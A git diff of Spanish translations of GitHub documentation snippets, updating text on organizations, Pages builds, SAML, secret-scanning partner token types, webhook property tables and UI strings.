--- a/translations/es-ES/data/reusables/organizations/organizations_include.md
+++ b/translations/es-ES/data/reusables/organizations/organizations_include.md
@@ -6,15 +6,4 @@ Las organizaciones incluyen:
 - La opción de [requerir que todos los miembros de la organización utilicen autenticación bifactorial](/articles/requiring-two-factor-authentication-in-your-organization){% endif %}{% ifversion fpt%}
 - La capacidad de [crear y administrar aulas con GitHub Classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms){% endif %}
 
-{% ifversion fpt or ghec %}
-Puedes utilizar las organizaciones de forma gratuita con
-{% data variables.product.prodname_free_team %}, el cual incluye colaboradores ilimitados en repositorios públicos ilimitados con características completas y repositorios privados ilimitados con características limitadas.
-
-Para encontrar características adicionales, incluyendo el inicio de sesión único de SAML y la cobertura de soporte mejorada, puedes mejorar a {% data variables.product.prodname_team %} o {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %}
-
-Si utilizas {% data variables.product.prodname_ghe_cloud %}, tendrás la opción de comprar una licencia para {% data variables.product.prodname_GH_advanced_security %} y utilizar las características en los repositorios privados. {% data reusables.advanced-security.more-info-ghas %}
-
-{% ifversion fpt %}
-{% data reusables.enterprise.link-to-ghec-trial %}
-{% endif %}
-{% endif %}
+{% data reusables.organizations.organization-plans %}
diff --git a/translations/es-ES/data/reusables/organizations/people.md b/translations/es-ES/data/reusables/organizations/people.md
index b0b6076849..c224dbe558 100644
--- a/translations/es-ES/data/reusables/organizations/people.md
+++ b/translations/es-ES/data/reusables/organizations/people.md
@@ -1,5 +1,5 @@
 1. Debajo del nombre de tu organización, da clic en
-{% octicon "organization" aria-label="The People icon" %} **Personas**.
+{% octicon "person" aria-label="The Person icon" %} **Personas**.
   {% ifversion fpt or ghes > 3.2 or ghec %}
   ![Pestaña de las Personas](/assets/images/help/organizations/organization-people-tab-with-overview-tab.png)
   {% else %}
diff --git a/translations/es-ES/data/reusables/pages/check-workflow-run.md b/translations/es-ES/data/reusables/pages/check-workflow-run.md
new file mode 100644
index 0000000000..9a20b621d1
--- /dev/null
+++ b/translations/es-ES/data/reusables/pages/check-workflow-run.md
@@ -0,0 +1,8 @@
+{% ifversion fpt %}
+1. If your {% data variables.product.prodname_pages %} site is built from a public repository, it is built and deployed with a {% data variables.product.prodname_actions %} workflow run unless you've configured your {% data variables.product.prodname_pages %} site to use a different CI tool. For more information about how to view the workflow status, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+
+{% note %}
+
+{% data reusables.pages.pages-builds-with-github-actions-public-beta %}
+
+{% endnote %}{% endif %}
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/pages/pages-builds-with-github-actions-public-beta.md b/translations/es-ES/data/reusables/pages/pages-builds-with-github-actions-public-beta.md
new file mode 100644
index 0000000000..68073a7756
--- /dev/null
+++ b/translations/es-ES/data/reusables/pages/pages-builds-with-github-actions-public-beta.md
@@ -0,0 +1,5 @@
+{% ifversion fpt %}
+
+**Note:** {% data variables.product.prodname_actions %} workflow runs for your {% data variables.product.prodname_pages %} sites are in public beta for public repositories and subject to change. {% data variables.product.prodname_actions %} workflow runs are free for public repositories.
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/pages/twenty-minutes-to-publish.md b/translations/es-ES/data/reusables/pages/twenty-minutes-to-publish.md
index f3c3ce1680..75204fe320 100644
--- a/translations/es-ES/data/reusables/pages/twenty-minutes-to-publish.md
+++ b/translations/es-ES/data/reusables/pages/twenty-minutes-to-publish.md
@@ -1 +1 @@
-**Nota:** Es posible que tome hasta 20 minutos la publicación de los cambios en tu sitio luego de que subes los cambios a {% data variables.product.product_name %}. Si no ves los cambios reflejados en tu buscador después de una hora, consulta la sección "[Acerca de los errores de compilación de Jekyll para sitios de {% data variables.product.prodname_pages %}](/articles/about-jekyll-build-errors-for-github-pages-sites)".
+**Nota:** Es posible que tome hasta 10 minutos la publicación de los cambios en tu sitio luego de que subes los cambios a {% data variables.product.product_name %}.  Si no puedes ver reflejados los cambios de tu sitio de {% data variables.product.prodname_pages %} en tu buscador después de una hora, consulta la sección "[Acerca de los errores de compilación de Jekyll para los sitios de {% data variables.product.prodname_pages %}](/articles/about-jekyll-build-errors-for-github-pages-sites)".
diff --git a/translations/es-ES/data/reusables/projects/open-command-palette.md b/translations/es-ES/data/reusables/projects/open-command-palette.md
index f05cf15515..8fe6a78c68 100644
--- a/translations/es-ES/data/reusables/projects/open-command-palette.md
+++ b/translations/es-ES/data/reusables/projects/open-command-palette.md
@@ -1 +1 @@
-To open the project command palette, press `Ctrl+k` (Windows and Linux) or `Command+k` (Mac).
+Para abrir la paleta de comandos del proyecto, presiona `Ctrl+k` (Windows y Linux) o `Command+k` (Mac).
diff --git a/translations/es-ES/data/reusables/projects/projects-beta.md b/translations/es-ES/data/reusables/projects/projects-beta.md
index 31aac9df38..3fce4d5f22 100644
--- a/translations/es-ES/data/reusables/projects/projects-beta.md
+++ b/translations/es-ES/data/reusables/projects/projects-beta.md
@@ -1,5 +1,5 @@
 {% note %}
 
-**Note:** Projects (beta) is currently in public beta and subject to change.
+**Nota:** Los proyectos (beta) se encuentran en beta público y están sujetos a cambios.
 
 {% endnote %}
diff --git a/translations/es-ES/data/reusables/repositories/actions-tab.md b/translations/es-ES/data/reusables/repositories/actions-tab.md
index 6ad37f4246..c5020fe1d7 100644
--- a/translations/es-ES/data/reusables/repositories/actions-tab.md
+++ b/translations/es-ES/data/reusables/repositories/actions-tab.md
@@ -1 +1 @@
-1. Debajo del nombre de tu repositorio, da clic en **Acciones**. ![Pestaña de acciones en la navegación del repositorio principal](/assets/images/help/repository/actions-tab.png)
+1. Debajo de tu nombre de repositorio, haz clic en {% octicon "play" aria-label="The Play icon" %} **Acciones**. ![Pestaña de acciones en la navegación del repositorio principal](/assets/images/help/repository/actions-tab.png)
diff --git a/translations/es-ES/data/reusables/repositories/private_forks_inherit_permissions.md b/translations/es-ES/data/reusables/repositories/private_forks_inherit_permissions.md
index e3fa887008..671d6cb0fd 100644
--- a/translations/es-ES/data/reusables/repositories/private_forks_inherit_permissions.md
+++ b/translations/es-ES/data/reusables/repositories/private_forks_inherit_permissions.md
@@ -1 +1 @@
-Las bifurcaciones privadas heredan la estructura de permisos del repositorio ascendente o padre. Por ejemplo, si el repositorio ascendente es privado y otorga acceso de lectura/escritura a un equipo, entonces el mismo equipo tendrá este tipo de acceso en cualquier bifurcación de dicho repositorio ascendente. Esto ayuda a que los propietarios de repositorios privados mantengan el control sobre su código.
+Las bifurcaciones privadas heredan la estructura de permisos del repositorio ascendente o padre. Esto ayuda a que los propietarios de repositorios privados mantengan el control sobre su código. Por ejemplo, si el repositorio ascendente es privado y otorga acceso de lectura/escritura a un equipo, entonces el mismo equipo tendrá este tipo de acceso en cualquier bifurcación de dicho repositorio ascendente. Las bifurcaciones privadas solo heredarán los permisos de equipo (y no los iniciales).
diff --git a/translations/es-ES/data/reusables/saml/external-group-audit-events.md b/translations/es-ES/data/reusables/saml/external-group-audit-events.md
index 0d8ec42f8d..b849b82311 100644
--- a/translations/es-ES/data/reusables/saml/external-group-audit-events.md
+++ b/translations/es-ES/data/reusables/saml/external-group-audit-events.md
@@ -1,7 +1,7 @@
-| Acción                     | Descripción                                                                                                                                                                                                                                                                                            |
-| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| `external_group.delete`    | Triggered when your Okta group is deleted. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."                                                                     |
-| `external_group.link`      | Triggered when your Okta group is mapped to your {% data variables.product.prodname_ghe_managed %} team. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."     |
-| `external_group.provision` | Triggered when an Okta group is mapped to your team on {% data variables.product.prodname_ghe_managed %}. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."    |
-| `external_group.unlink`    | Triggered when your Okta group is unmapped from your {% data variables.product.prodname_ghe_managed %} team. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." |
-| `external_group.update`    | Triggered when your Okta group's settings are updated. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."                                                         |
\ No newline at end of file
+| Acción                     | Descripción                                                                                                                                                                                                                                                                                                                            |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `external_group.delete`    | Triggered when your Okta group is deleted. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".                                                                     |
+| `external_group.link`      | Triggered when your Okta group is mapped to your {% data variables.product.prodname_ghe_managed %} team. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".     |
+| `external_group.provision` | Triggered when an Okta group is mapped to your team on {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".    |
+| `external_group.unlink`    | Triggered when your Okta group is unmapped from your {% data variables.product.prodname_ghe_managed %} team. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)". |
+| `external_group.update`    | Triggered when your Okta group's settings are updated. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".                                                         |
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/saml/external-identity-audit-events.md b/translations/es-ES/data/reusables/saml/external-identity-audit-events.md
index 74a3811926..518fc88e56 100644
--- a/translations/es-ES/data/reusables/saml/external-identity-audit-events.md
+++ b/translations/es-ES/data/reusables/saml/external-identity-audit-events.md
@@ -1,5 +1,5 @@
-| Acción                          | Descripción                                                                                                                                                                                                                                                                                                                                                |
-| ------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `external_identity.deprovision` | Triggered when a user is removed from your Okta group and is subsequently deprovisioned from {% data variables.product.prodname_ghe_managed %}. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."                  |
-| `external_identity.provision`   | Triggered when an Okta user is added to your Okta group and is subsequently provisioned to the mapped team on {% data variables.product.prodname_ghe_managed %}. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." |
-| `external_identity.update`      | Triggered when an Okta user's settings are updated. For more information, see ["Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."                                                                                                                |
\ No newline at end of file
+| Acción                          | Descripción                                                                                                                                                                                                                                                                                                                                                                                |
+| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `external_identity.deprovision` | Triggered when a user is removed from your Okta group and is subsequently deprovisioned from {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".                  |
+| `external_identity.provision`   | Triggered when an Okta user is added to your Okta group and is subsequently provisioned to the mapped team on {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)". |
+| `external_identity.update`      | Triggered when an Okta user's settings are updated. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".                                                                                                                |
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/saml/saml-accounts.md b/translations/es-ES/data/reusables/saml/saml-accounts.md
index dbdc5fc671..e3b62f46b2 100644
--- a/translations/es-ES/data/reusables/saml/saml-accounts.md
+++ b/translations/es-ES/data/reusables/saml/saml-accounts.md
@@ -1 +1,7 @@
-If you configure SAML SSO, members of your organization will continue to log into their user accounts on {% data variables.product.prodname_dotcom_the_website %}. Cuando un miembro accede a recursos dentro de tu organización que utiliza el SSO de SAML, {% data variables.product.prodname_dotcom %} lo redirecciona a tu IdP para autenticarse. Después de autenticarse exitosamente, tu IdP redirecciona a este miembro a {% data variables.product.prodname_dotcom %}, en donde puede acceder a los recursos de tu organización.
+Si configuras el SSO de SAML, los miembros de tu organización continuarán ingresando en sus cuentas de usuario en {% data variables.product.prodname_dotcom_the_website %}. Cuando un miembro acceda a los recursos que no sean públicos dentro de tu organización y que utilicen el SSO de SAML, {% data variables.product.prodname_dotcom %} lo redireccionará a tu IdP para autenticarse. Después de autenticarse exitosamente, tu IdP redirecciona a este miembro a {% data variables.product.prodname_dotcom %}, en donde puede acceder a los recursos de tu organización.
+
+{% note %}
+
+**Nota:** Los miembros organizacionales pueden realizar operaciones de lectura tales como ver, clonar y bifurcar los recursos públicos que pertenecen a tu organización, incluso si no tienen una sesión de SAML válida.
+
+{% endnote %}
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md
index 3737b0057e..82f7d4aeb9 100644
--- a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md
+++ b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-private-repo.md
@@ -18,6 +18,8 @@ Asana | Token de Acceso Personal de Asana | asana_personal_access_token{% endif
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
 Atlassian | Token de Acceso Personal de Bitbucket Server | bitbucket_server_personal_access_token{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.3 %}
+Azure | Secreto de la Aplicación de Azure Active Directory | azure_active_directory_application_secret{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
 Azure | Llave del Caché de Azure para Redis | azure_cache_for_redis_access_key{% endif %} Azure | Token de Acceso Personal de Azure DevOps | azure_devops_personal_access_token Azure | Token de SAS de Azure | azure_sas_token Azure | Certificado de Azure Service Management | azure_management_certificate
 {%- ifversion ghes < 3.4 or ghae or ghae-issue-5342 %}
 Azure | Secuencia de Conexión SQL de Azure | azure_sql_connection_string{% endif %} Azure | Llave de Cuenta de Almacenamiento de Azure | azure_storage_account_key
@@ -86,7 +88,7 @@ Google | Secreto de Cliente OAuth de Google | google_oauth_client_secret{% endif
 {%- ifversion fpt or ghec or ghes > 3.3 %}
 Google | Token de Actualización OAuth a Google | google_oauth_refresh_token{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
-Grafana | Llave de la API de Grafana | grafana_api_key{% endif %} Hashicorp Terraform | API del Token de Terraform Cloud / Enterprise | terraform_api_token Hubspot | Llave de la API de Hubspot | hubspot_api_key
+Grafana | Llave de la API de Grafana | grafana_api_key{% endif %} HashiCorp | Token de la API de Terraform Cloud / Enterprise | terraform_api_token HashiCorp | Token de Lote de HashiCorp Vault | hashicorp_vault_batch_token HashiCorp | Toekn de Servicio de HashiCorp Vault | hashicorp_vault_service_token Hubspot | Llave de la API de Hubspot | hubspot_api_key
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
 Intercom | Token de Acceso a Intercom | intercom_access_token{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
@@ -111,6 +113,10 @@ Mapbox | Token de Acceso Secreto a Mapbox | mapbox_secret_access_token{% endif %
 MessageBird | Llave de la API de MessageBird | messagebird_api_key{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
 Meta | Token de Acceso a Facebook | facebook_access_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Midtrans | Llave del Servidor Productivo de Midtrans | midtrans_production_server_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Midtrans | Llave del Servidor de Pruebas de Midtrans | midtrans_sandbox_server_key{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.2 %}
 New Relic | Llave Personal de la API de New Relic | new_relic_personal_api_key{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.2 %}
@@ -184,3 +190,9 @@ Yandex | Llave de la API de Yandex.Cloud | yandex_cloud_api_key{% endif %}
 Yandex | Cookie IAM de Yandex.Cloud | yandex_cloud_iam_cookie{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.3 %}
 Yandex | Token IAM de Yandex.Cloud | yandex_cloud_iam_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Yandex | Llave de la API de Yandex.Dictionary | yandex_dictionary_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Yandex | Llave de la API de Yandex.Predictor | yandex_predictor_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Yandex | Llave de la API de Yandex.Translate | yandex_translate_api_key{% endif %}
diff --git a/translations/es-ES/data/reusables/user_settings/appearance-settings.md b/translations/es-ES/data/reusables/user_settings/appearance-settings.md
new file mode 100644
index 0000000000..c9e1b3641a
--- /dev/null
+++ b/translations/es-ES/data/reusables/user_settings/appearance-settings.md
@@ -0,0 +1,3 @@
+1. En la barra lateral de configuración de usuario, da clic en **Apariencia**.
+
+   ![Pestaña de "Apariencia" en la barra lateral de configuración de usuario](/assets/images/help/settings/appearance-tab.png)
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/user_settings/enabling-fixed-width-fonts.md b/translations/es-ES/data/reusables/user_settings/enabling-fixed-width-fonts.md
new file mode 100644
index 0000000000..b40ae916b5
--- /dev/null
+++ b/translations/es-ES/data/reusables/user_settings/enabling-fixed-width-fonts.md
@@ -0,0 +1,5 @@
+{% if fixed-width-font-gfm-fields %}
+
+If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on {% data variables.product.product_name %}. For more information, see "[Enabling fixed-width fonts in the editor](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github#enabling-fixed-width-fonts-in-the-editor)."
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/es-ES/data/reusables/webhooks/commit_comment_properties.md b/translations/es-ES/data/reusables/webhooks/commit_comment_properties.md
index 9fb6e5f95a..b431fa99b9 100644
--- a/translations/es-ES/data/reusables/webhooks/commit_comment_properties.md
+++ b/translations/es-ES/data/reusables/webhooks/commit_comment_properties.md
@@ -1,4 +1,4 @@
-| Clave        | Tipo        | Descripción                                                                                |
-| ------------ | ----------- | ------------------------------------------------------------------------------------------ |
-| `Acción`     | `secuencia` | La acción realizada. Puede ser `created`.                                                  |
-| `comentario` | `objeto`    | El recurso de [comentario de la confirmación](/rest/reference/repos#get-a-commit-comment). |
+| Clave        | Tipo        | Descripción                                                                                  |
+| ------------ | ----------- | -------------------------------------------------------------------------------------------- |
+| `Acción`     | `secuencia` | La acción realizada. Puede ser `created`.                                                    |
+| `comentario` | `objeto`    | El recurso de [comentario de la confirmación](/rest/reference/commits#get-a-commit-comment). |
diff --git a/translations/es-ES/data/reusables/webhooks/deploy_key_properties.md b/translations/es-ES/data/reusables/webhooks/deploy_key_properties.md
index 01db75f554..5b57a4d798 100644
--- a/translations/es-ES/data/reusables/webhooks/deploy_key_properties.md
+++ b/translations/es-ES/data/reusables/webhooks/deploy_key_properties.md
@@ -1,4 +1,4 @@
-| Clave    | Tipo        | Descripción                                                        |
-| -------- | ----------- | ------------------------------------------------------------------ |
-| `Acción` | `secuencia` | La acción realizada. Puede ser tanto `created` como `deleted`.     |
-| `clave`  | `objeto`    | El recurso [`deploy key`](/rest/reference/repos#get-a-deploy-key). |
+| Clave    | Tipo        | Descripción                                                              |
+| -------- | ----------- | ------------------------------------------------------------------------ |
+| `Acción` | `secuencia` | La acción realizada. Puede ser tanto `created` como `deleted`.           |
+| `clave`  | `objeto`    | El recurso [`deploy key`](/rest/reference/deployments#get-a-deploy-key). |
diff --git a/translations/es-ES/data/reusables/webhooks/deployment_short_desc.md b/translations/es-ES/data/reusables/webhooks/deployment_short_desc.md
index 3a24e63128..348d86c224 100644
--- a/translations/es-ES/data/reusables/webhooks/deployment_short_desc.md
+++ b/translations/es-ES/data/reusables/webhooks/deployment_short_desc.md
@@ -1 +1 @@
-Se crea un despliegue. {% data reusables.webhooks.action_type_desc %} Para obtener más información, consulta la API de REST de "[despliegue](/rest/reference/repos#list-deployments)".
+Se crea un despliegue. {% data reusables.webhooks.action_type_desc %} Para obtener más información, consulta la API de REST de "[despliegue](/rest/reference/deployments#list-deployments)".
diff --git a/translations/es-ES/data/reusables/webhooks/deployment_status_short_desc.md b/translations/es-ES/data/reusables/webhooks/deployment_status_short_desc.md
index 77c5609e15..35e7da20ec 100644
--- a/translations/es-ES/data/reusables/webhooks/deployment_status_short_desc.md
+++ b/translations/es-ES/data/reusables/webhooks/deployment_status_short_desc.md
@@ -1 +1 @@
-Se crea un despliegue. {% data reusables.webhooks.action_type_desc %} Para obtener más información, consulta la API de REST de "[estados de despliegue](/rest/reference/repos#list-deployment-statuses)".
+Se crea un despliegue. {% data reusables.webhooks.action_type_desc %} Para obtener más información, consulta la API de REST de "[estados de despliegue](/rest/reference/deployments#list-deployment-statuses)".
diff --git a/translations/es-ES/data/reusables/webhooks/issue_event_api_properties.md b/translations/es-ES/data/reusables/webhooks/issue_event_api_properties.md
index f912fa2c38..7567791896 100644
--- a/translations/es-ES/data/reusables/webhooks/issue_event_api_properties.md
+++ b/translations/es-ES/data/reusables/webhooks/issue_event_api_properties.md
@@ -1,3 +1,3 @@
-| Clave    | Tipo        | Descripción                                                                                                                          |
-| -------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------ |
-| `Acción` | `secuencia` | La acción que se realizó. Puede ser una de entre `opened`, `closed`, `reopened`, `assigned`, `unassigned`, `labeled`, o `unlabeled`. |
+| Clave    | Tipo        | Descripción                                                                                                                                   |
+| -------- | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción` | `secuencia` | La acción que se realizó. Puede ser uno de entre `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `labeled` o `unlabeled`. |
diff --git a/translations/es-ES/data/reusables/webhooks/pull_request_event_api_properties.md b/translations/es-ES/data/reusables/webhooks/pull_request_event_api_properties.md
index 21e7eb30eb..e4694fd2e2 100644
--- a/translations/es-ES/data/reusables/webhooks/pull_request_event_api_properties.md
+++ b/translations/es-ES/data/reusables/webhooks/pull_request_event_api_properties.md
@@ -1,3 +1,3 @@
-| Clave    | Tipo        | Descripción                                                                                                                                                                                       |
-| -------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `Acción` | `secuencia` | La acción que se realizó. Puede ser una de entre `opened`, `closed`, `reopened`, `assigned`, `unassigned`, `review_requested`, `review_request_removed`, `labeled`, `unlabeled`, y `synchronize`. |
+| Clave    | Tipo        | Descripción                                                                                                                                                                                                |
+| -------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción` | `secuencia` | La acción que se realizó. Puede ser uno de entre `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `review_requested`, `review_request_removed`, `labeled`, `unlabeled` y `synchronize`. |
diff --git a/translations/es-ES/data/reusables/webhooks/release_short_desc.md b/translations/es-ES/data/reusables/webhooks/release_short_desc.md
index 1035c57929..f5c0017143 100644
--- a/translations/es-ES/data/reusables/webhooks/release_short_desc.md
+++ b/translations/es-ES/data/reusables/webhooks/release_short_desc.md
@@ -1 +1 @@
-La actividad relacionada con un lanzamiento. {% data reusables.webhooks.action_type_desc %} Para obtener más información, consulta la API de REST de "[lanzamientos](/rest/reference/repos#releases)".
+La actividad relacionada con un lanzamiento. {% data reusables.webhooks.action_type_desc %} Para obtener más información, consulta la API de REST de "[lanzamientos](/rest/reference/releases)".
diff --git a/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md
index 34d81fb209..4cd8145dab 100644
--- a/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md
+++ b/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md
@@ -1,5 +1,5 @@
 Las API de REST de los webhooks te permiten administrar webhooks de repositorio, organización y aplicación.{% ifversion fpt or ghes > 3.2 or ghae or ghec %} Puedes utilizar esta API para listar las entregas de webhook para uno de ellos u obtener y volver a hacer una entrega individual para uno de ellos, la cual puede integrarse en una app o servicio externo.{% endif %}. También puedes utilizar la API de REST para cambiar la configuración del webhook. Por ejemplo, puedes modificar la URL de la carga útil, el tipo de contenido, la verificación de SSL, y el secreto. Para obtener más información, consulta:
 
-- [API de REST para los webhooks de los repositorios](/rest/reference/repos#webhooks)
+- [API de REST para los webhooks de los repositorios](/rest/reference/webhooks#repository-webhooks)
 - [API de REST de webhooks de organización](/rest/reference/orgs#webhooks)
 - [{% data variables.product.prodname_github_app %} API de REST de Webhooks](/rest/reference/apps#webhooks)
diff --git a/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md b/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md
index 3d9ee845ac..506f8f7166 100644
--- a/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md
+++ b/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md
@@ -1,10 +1,10 @@
-| Clave                             | Tipo        | Descripción                                                                                                                                                                          |
-| --------------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| `Acción`                          | `secuencia` | La acción realizada. Puede ser una de las siguientes: <ul><li> `queued` - Se creó un job nuevo.</li><li> `in_progress` - El job se comenzó a procesar en el ejecutor.</li><li> `completed` - el `status` del job es `completed`.</li></ul>                                                                                                       |
-| `workflow_job`                    | `objeto`    | El job de flujo de trabajo. Muchas claves de `workflow_job`, tales como `head_sha`, `conclusion`, y `started_at` son las mismas que aquellas en un objeto [`check_run`](#check_run). |
-| `workflow_job[status]`            | `secuencia` | El estado actual del trabajo. Puede ser `queued`, `in_progress`, o `completed`.                                                                                                      |
-| `workflow_job[labels]`            | `arreglo`   | Custom labels for the job. Specified by the [`"runs-on"` attribute](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on) in the workflow YAML.                   |
-| `workflow_job[runner_id]`         | `número`    | The ID of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`.                                                                    |
-| `workflow_job[runner_name]`       | `secuencia` | The name of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`.                                                                  |
-| `workflow_job[runner_group_id]`   | `número`    | The ID of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`.                                                              |
-| `workflow_job[runner_group_name]` | `secuencia` | The name of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`.                                                            |
+| Clave                             | Tipo        | Descripción                                                                                                                                                                             |
+| --------------------------------- | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción`                          | `secuencia` | La acción realizada. Puede ser una de las siguientes: <ul><li> `queued` - Se creó un job nuevo.</li><li> `in_progress` - El job se comenzó a procesar en el ejecutor.</li><li> `completed` - el `status` del job es `completed`.</li></ul>                                                                                                          |
+| `workflow_job`                    | `objeto`    | El job de flujo de trabajo. Muchas claves de `workflow_job`, tales como `head_sha`, `conclusion`, y `started_at` son las mismas que aquellas en un objeto [`check_run`](#check_run).    |
+| `workflow_job[status]`            | `secuencia` | El estado actual del trabajo. Puede ser `queued`, `in_progress`, o `completed`.                                                                                                         |
+| `workflow_job[labels]`            | `arreglo`   | Etiquetas personalizadas para el job. Las especifica el [atributo`"runs-on"`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on) en el YAML del flujo de trabajo. |
+| `workflow_job[runner_id]`         | `número`    | La ID del ejecutor que está ejecutando este job. Este será `null` siempre y cuando el `workflow_job[status]` se encuentre `queued`.                                                     |
+| `workflow_job[runner_name]`       | `secuencia` | El nombre del ejecutor que está ejecutando este job. Este será `null` siempre y cuando el `workflow_job[status]` se encuentre `queued`.                                                 |
+| `workflow_job[runner_group_id]`   | `número`    | La ID del grupo de ejecutores que está ejecutando este job. Este será `null` siempre y cuando el `workflow_job[status]` se encuentre `queued`.                                          |
+| `workflow_job[runner_group_name]` | `secuencia` | El nombre del grupo de ejecutores que está ejecutando este job. Este será `null` siempre y cuando el `workflow_job[status]` se encuentre `queued`.                                      |
diff --git a/translations/es-ES/data/ui.yml b/translations/es-ES/data/ui.yml
index fdb24cf77b..c5e40480a8 100644
--- a/translations/es-ES/data/ui.yml
+++ b/translations/es-ES/data/ui.yml
@@ -13,6 +13,8 @@ header:
     ghes_release_notes_upgrade_patch_only: '📣 Este no es el <a href="#{{ latestPatch }}">lanzamiento de parche más reciente</a> de Enterprise Server.'
     ghes_release_notes_upgrade_release_only: '📣 Este no es el <a href="/enterprise-server@{{ latestRelease }}/admin/release-notes">lanzamiento más reciente </a> de Enterprise Server.'
